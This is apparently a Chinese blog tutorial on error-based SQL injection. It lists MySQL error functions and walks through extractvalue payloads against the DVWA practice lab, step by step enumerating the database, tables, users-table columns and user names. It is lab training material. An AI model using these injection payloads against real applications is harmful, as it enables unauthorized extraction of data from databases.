sql注入-报错注入

报错盲注

原理:

报错注入(Error-based SQL Injection)是一种SQL注入攻击技术,它依赖于应用程序在发生数据库错误时返回给用户的详细错误信息。这些错误信息可能包含关于数据库结构的敏感信息,如数据库表名、列名、数据类型等,甚至可能泄露部分数据。攻击者可以利用这些信息来进一步构造更精确的SQL查询,以绕过应用程序的安全措施,获取未授权的数据访问或执行未授权的操作。

常用报错函数:

1.floor()报错

2.extractValue()报错

3.updateXml()报错

4.NAME_CONST()报错

5.jion()报错

6.exp()报错

下面进行报错注入dvwa靶场。
1.爆库名

sql 复制代码
1' and extractvalue(1,concat(0x7e,database()))# 


2.爆表名

先爆表的数量

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))# 

再具体爆每张表的名字

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1)))#


3.爆列名

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))# 

最后爆出一共有八列。

分别爆出八个列名并找出可能有价值的列。

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 6,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 7,1)))#

爆到4的时候有一个user的列,很明显是存放用户的列。

4.爆字段

爆出有几个用户

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count( user) from users )));#

在爆出各个用户的名称

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 1,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 2,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 3,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 4,1)));#
相关推荐
蜡笔小炘22 分钟前
LVS -- 利用防火墙标签(FireWall Mark)解决轮询错误
服务器·数据库·lvs
韩立学长26 分钟前
基于Springboot泉州旅游攻略平台d5h5zz02(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·旅游
Re.不晚1 小时前
MySQL进阶之战——索引、事务与锁、高可用架构的三重奏
数据库·mysql·架构
老邓计算机毕设1 小时前
SSM智慧社区信息化服务平台4v5hv(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·智慧社区、·信息化平台
麦聪聊数据2 小时前
为何通用堡垒机无法在数据库运维中实现精准风控?
数据库·sql·安全·低代码·架构
2301_790300962 小时前
Python数据库操作:SQLAlchemy ORM指南
jvm·数据库·python
m0_736919102 小时前
用Pandas处理时间序列数据(Time Series)
jvm·数据库·python
亓才孓2 小时前
[JDBC]PreparedStatement替代Statement
java·数据库
m0_466525292 小时前
绿盟科技风云卫AI安全能力平台成果重磅发布
大数据·数据库·人工智能·安全
爱学习的阿磊3 小时前
使用Fabric自动化你的部署流程
jvm·数据库·python